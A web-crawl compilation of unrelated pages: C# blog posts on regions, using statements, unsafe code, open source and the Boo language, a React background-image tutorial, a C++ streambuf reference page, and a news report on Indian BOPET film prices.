picture the region directive being added as almost an after thought. I see someone at Microsoft saying "wow this tool sure generated so butt ugly code cant we hide that?" Regions to the rescue! A region is a <a href="">preprocessor directive</a> that allows programmers to hide sections of there code by using #region and #endregion syntax.<br />MSDN says:<br /><blockquote>#region lets you specify a block of code that you can expand or collapse when using the outlining feature of the Visual Studio Code Editor.<br />For example:</blockquote><br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code>#region MyClass definition<br />public class MyClass <br />{<br />static void Main() <br />{<br />}<br />}<br />#endregion<br /></code></pre><br /><br /><span style="font-weight:bold;">Regions the clean solution</span><br />Now I know what you might be thinking. What is so bad about that? How could that little region be causing so many problems? It is only there to help clean up your code a little. Ahh but wait. Lets take a closer look at that. It helps clean up your code. Does it? Or does it just make the code LOOK cleaner.<br /><br /><span style="font-weight:bold;">Regions making the ugly look pretty</span><br /><br />Sadly, the same thing that spawned the region directive is the same thing it is being misused for now. I will just make a little hack here or there add a region directive and everything will be OK. The sooner everyone stops using regions the sooner developers will stop thinking its Okay to sweep their hacks under a rug that I find myself constantly cleaning.<div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno UsingUsing should be used with anything that implements <a href="">IDisposable</a>. The using syntax can be used as a way of defining a scope for anything that implements IDisposable. The using statement also ensures that Dispose is called if an exception occurs.<br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code><br />//the compiler will create a local variable <br />//which will go out of scope outside this context <br />using (FileStream fs = new FileStream(file, FileMode.Open))<br />{<br /> //do stuff<br />}<br /></code></pre><br />Alternatively you could just use:<br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code>FileStream fs;<br />try<br />{<br /> fs = new FileStream();<br /> //do Stuff<br />}<br />finally<br />{<br /> if(fs!=null)<br /> fs.Dispose();<br />}<br /></code></pre><br />Extra reading from MSDN<br /.<br />The using statement allows the programmer to specify when objects that use resources should release them. The object provided to the using statement must implement the IDisposable interface. This interface provides the Dispose method, which should release the object's resources.<div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno to be UnsafeThe fixed statement is used in the context of the unsafe modifier. Unsafe declares that you are going use pointer arithmetic(eg: low level API call), which is outside normal C# operations. The fixed statement is used to lock the memory in place so the garbage collector will not reallocate it while it is still in use. You can’t use the fixed statement outside the context of unsafe.<br /><br />Example<br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code><br />public static void PointyMethod(char[] array)<br />{<br /> unsafe<br /> {<br /> fixed (char *p = array)<br /> {<br /> for (int i=0; i<array.Length; i++)<br /> {<br /> System.Console.Write(*(p+i));<br /> }<br /> }<br /> }<br />}<br /></code></pre><div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno Source is the root of all EvilWe don't use open source.<br /><br />I hear this all the time and is always accompanied with a look of pride and a slight gloat. I can understand I guess. I was young once but more and more of these people are in there 30's, 40's and 50's. So I turn to them and ask "So ahh Bill, how long you been with X?" 10 years + is always the answer. Ahhh... the institutionalized then.<br /><br /><font style="font-weight: bold;">Enterprise Risk </font><br /><br />Enterprise Risk<font style="font-weight: bold;"> </font>is the number one reason given. Do the people that say this even know what that <a href="">means</a>? I would have thought it meant assessing risks in a pragmatic way to avoid any loss for your company. OK lets take this scenario. Say I'm doing some financial transactions using .Net on Server 2008 with MSSQL. It goes wrong. O CRAP! Who's fault is it? Who do we blame? Where do we point the finger? Microsoft? Even if there is a hidden bug that has been documented it is still the developers fault. No ifs, ands or buts. <a href="">The first rule in programming is its always the developers fault.</a><br /><br /><font style="font-weight: bold;">Open Source is the root of all Evil</font><br /><br />This is something that I have heard for years and I firmly blame the Microsoft "Sales Pitch" for this. Microsoft has been implying, if not outright saying, that if you use open source you are more likely to get attacked because it is less secure. It's how they sell their products and services and it filters from the boardrooms to the mangers and so on. The biggest and most common misconception is: "Anyone can change the Source".<br /><br /><font style="font-weight: bold;">No</font>. <font>Not just anyone can change the source on the base version that is released to the public</font><font style="font-weight: bold;">. </font>While it is true you can download and change whatever your like, that change will not be reflected in the version that is distributed to the public. It boggles my mind how people cannot see the beauty in that...<br /><br />Lets roll back a moment to our 'O CRAP' financial transaction. Lets pretend the problem was in a MS library. Lets take a real leap and say that it's open source. So as a developer we need to fix the problem to make it go away. So we pull the source down to make a change and submit it to the project administrators. They say thank you. Check and scrutinize what you have done. Test our change and release it to the public. No more problem for me, or anyone else. It doesn't become a piece of obscure documentation that is in a knowledge base that has well over a million articles.<br /><br /><br /><font style="font-weight: bold;">Open Source Tools Libraries<br /></font><br />I really believe that a lot of the open source tools/technologies are much better then those that that you have to pay fo, Sourcesafe being the most obvious example. Subversion and GIT(just to name two) are heads above Sourcesafe. Other tools such as <a href="">TortoiseSVN</a> intergate into windows to help users that perfer UI to commandline.<br /><br />Nunit, NHibernate, Rhino Mocks and Structure map, to name a few, are awesome open source liabaries that can only aid a developer. There are hundreds of these tools out there that a lot of developers are not able to use due to out dated company policies. Big compaines like microsoft end support for things all the time<br /><br /><br />What are these strange things? Where did they come from? How long have then been around? How did I function before these? Microsoft has just released competing version of these products. But really how well is V1 going to be? Nunit is on version 2.5 and Nhibernate on 2. Do you really think Microsoft is going to do a better job than the whole open source community working on these products for years?<br /><br /><br /><font style="font-weight: bold;">No Open Source allowed here</font> <p>Most of the large companies stand by their "No Open Source Rule" usually citing support and maintenance. But big companies like Microsoft end support for things all the time the only difference is with an open source product you can continue to upgrade and update you are not forced onto an entirely different stack/server/library ect. I have to admit though I used to buy into the whole "open source is insecure mumbo jumbo" and stuck strictly to MS libraries. But hey I also used to masturbate a whole lot more before I could find a woman that would sleep with me.... What's my point? If you're refuse to use open source then you're only screwing yourself. </p><font style="font-weight: bold;"><br /></font><div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno Who?Anybody that reads <a href="">Ayede Rahien's</a> blog will notice that he is writing a book called <a href="">Building Domain Specific Languages with BOO</a>. What? BOO? What the hell is BOO? I am a big fan of Anede and quickly wanted to get up to speed with BOO and what it is all about. Most of the my initial reading was taken right off the<a href=""> BOO website</a>.<br /><br /><blockquote>Boo is a new object oriented statically typed programming language for the <a href="" title="Common Language Infrastructure">Common Language Infrastructure</a> with a <a href="">python</a> inspired syntax and a special focus on language and compiler extensibility.</blockquote>GREAT! I Love python's syntax! Who needs all those brackets anyway. But why do we need a whole new language to do Domain Specific Programming? And wait, what's up with Iron Python are these two not destine to clash? What am I not understanding here?<br /><br />IronPython is not a take on Python it is just a reimplementation of python, where as BOO is completely different Language that is based off python syntax. Boo is statically typed, while IronPython is dynamical typed. OK, they are not even close to the same thing. Its another one of the those classic programming examples where upon first glance something that looks like a snake and moves like a snake but is actually some type of <a href="">Duck</a>.<br /><br />OK! Then the difference has to be with the fact it is a Domain Specific Language. Hmmm "Domain Specific" I think I know what that means... but do I?? I mean I have heard the term thrown around and thought I had a grasp on it. I must still be missing something.....<br /><br />Martin Fowler says<br /><blockquote>Domain specific language (DSL) is a computer language that's targeted to a particular kind of problem, rather than a general purpose language that's aimed at any kind of<br />software problem.</blockquote>OK well that is kind of what I thought. SO if company XYZ has a corporate policy that all phone numbers have to be 3 digits, why wouldn't I just create a method or an even better an extension method. Seems pretty straight forward...<br /><br />But Wait is that really a DSL? If you dig into it there are 4 types of DSL(From Chapter one of building DSL's) External, Graphical, Fluent and Internal/Embedded. OK now we are getting into it.<br /><br /><ul><li>External is specifying everything from how an If statement works to operator semantics.</li></ul><ul><li>Graphical is a DSL that is not textual, but rather uses shapes and lines in order to express intent</li></ul><ul><li>Fluent - are interfaces are a way to structure your API in such a fashion that operations flow in a natural manner.<br /></li></ul><ul><li>Embedded - Internal DSL are built on top of an existing language, but they don’t try to remain true to the original programming language syntax. They try to express things in a way that would make sense to both the author and the reader, not to the compiler.</li></ul>Ayede Says:<br /><blockquote>Extension methods and lambda expression will certainly help, but they will not change the fundamental syntax too much. There are better alternatives for writing Domain Specific Languages than C#.</blockquote><blockquote>A DSL should be readable for someone who is familiar with the domain, not the programming language. A DSL built on top of an existing language can also be problematic, since you want to limit the options of the language, in order to make it clearer in what is going on, rather than turn the DSL into a fully fledged programming language; we already have that in the base language, after all. The main purpose of an internal DSL is to reduce the amount of stuff that you need to make the compiler happy, and increase the clarity of the code in question.</blockquote><br />So what does this all mean? Well it means he sold another book....<br /><br /><br /><br /><br /><br /><span style="text-decoration: underline;"></span><a href=""> </a><div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno
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http://feeds.feedburner.com/FrozznSoftware
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crawl-003
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refinedweb
| 5,874
| 62.27
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Questions: How to set a Background Image in React?, how to set background image in react?, how to add an image in html?, set svg images, img src images, reactjs component, insert image html or many more.
In this Article, we are going to learn all about how to set a react background image app using simple inline custom CSS styles and external some added css for React Lazy Load.
This Article assumes that you already created a fresh new react web project using command like create-react-app.
Setting image using inline styles
Example:
import xname-lname from './images/xname-lname.png' function App() { return ( <div styles={{ backgroundImage:`url(${xname-lname})` }}> <h1>This is red xname-lname</h1> </div> ); } export default App;
In the above example first of all, we imported xname-lname image from the images folder after that we included it to the HTML div element using set the backgroundImage css property.
Setting image using external css
If you do not like including the custom background some media or images using inline styles we can also included using external new fresh css styles.
Example: App.js
import React from 'react'; import './App.css'; function App() { return ( <div className="container"> <h1>This is red xname-lname</h1> </div> ); } export default App;
App.css
.container{ background-image: url(./images/xname-lname.png); }
Web Programming Tutorials Example with Demo
Read :
Summary
You can also read about AngularJS, ASP.NET, VueJs, PHP.
I hope you get an idea about Setting a backgroundImage With React Inline Styles.
I would like to have feedback on my infinityknow.com blog.
Your valuable feedback, question, or comments about this article are always welcome.
If you enjoyed and liked this post, don’t forget to share.
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https://www.pakainfo.com/react-background-image/
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CC-MAIN-2022-05
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refinedweb
| 290
| 56.66
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Get some characters.
Calls protected virtual member xsgetn(s,n), whose default behavior is to get n characters from input sequence and store them in the array pointed by s.
Parameters.
Return Value.
The number of characters got. The value is returned as an object of type streamsize.
Example.
// read a file buffer - sgetn () example
#include <iostream>
#include <fstream>
using namespace std;
int main () {
char content[11];
streambuf * pbuf;
ifstream istr ("test.txt");
pbuf = istr.rdbuf();
pbuf->sgetn (content,10);
istr.close();
cout.write (content,10);
return 0;
}
This example gets the first ten characters of the file buffer and prints them out.
Basic template member declaration ( basic_streambuf<charT,traits> ):
See also.
sgetc, sputn, sputc
streambuf class
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http://www.kev.pulo.com.au/pp/RESOURCES/cplusplus/ref/iostream/streambuf/sgetn.html
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CC-MAIN-2018-05
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refinedweb
| 117
| 60.82
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11 October 2010 08:02 [Source: ICIS news]
By Priya Jestin
MUMBAI (ICIS)--Prices of biaxially oriented polyethylene terephthalate (BOPET) film in ?xml:namespace>
The benchmark 12 micron BOPET could hit Rs240-250/kg ($5,407-5,631/tonne) this month from around Rs227/kg in end-September, after nearly doubling its value from the start of the year because of strong demand, they said.
Domestic demand was expected to grow nearly 25% annually in the next two years as new uses for BOPET emerge, industry sources said.
BOPET is a polyester film with applications in packaged foods, solar power cells, touch-screen panels of mobile phones and flat screen televisions.
An increase in the use of the material in non-traditional areas such as garment embroidery, along with exports to the US and Europe - where BOPET production had started to fall - ate into available domestic supply, causing prices to shoot up, industry sources said.
“Production capacities in the matured markets of
“Many polyester film producers in the mature markets are shifting towards making specialty products,” said a source at an Indian film producer with operations in
But in
The region was expected to account for 60% of worldwide BOPET film sales over the next year, according to the website of Jindal Polyfilms.
“Rapid economic growth in
BOPET’s price spike, however, was hurting plastic converters as they had to deal with higher production overhead, industry sources said.
“We are suffering,” said a source at a major Indian converter, citing that the price increased had been gradual and reasonable this year until June, when values started their rapid increase.
Converters alleged that Indian polyester film producers had formed a cartel of sorts with all the companies quoting similar prices, leaving converters with no options but to buy film at the high rates.
The polyester film producers, on the other hand, said that the strong demand dictated the strong prices.
“Some converters are increasingly moving towards biaxially oriented polypropylene (BOPP) film as it is a cheaper alternative. In some cases, converters are trying to replace metallized polyester film with metallized BOPP or even aluminium foil, which is cheaper,” said the source at the Indian converter.
BOPP film prices have remained more or less stable in the past eight to nine months, with the benchmark 18 micron BOPP film, costing around Rs114/kg due to ample supply, market sources said.
“In addition to existing BOPP producers, most polyester film producers are also setting up BOPP production facilities, which has led to increased capacity in the market,” said the polyester film producer.
However, though BOPP film is cheaper, not all converters have been able to make the shift since machine specifications could not be changed overnight and there were some applications that BOPP could not substitute for BOPET, industry sources said.
“If BOPET film prices rise beyond Rs250/kg, it could damage the downstream industry especially the packaging sector,” said the source at an Indian converter, citing that converters may not be able to pass on the higher cost to customers.
Some market players, however, said that the spike in BOPET prices may not extend up to two years as others believed.
“There is increased capacity coming into the market. Many of the existing producers are also increasing their capacity, so at most this spike in prices may last for six to seven months more,” the first film producer said.“There is huge capacity coming up in
($1 = Rs44.39)
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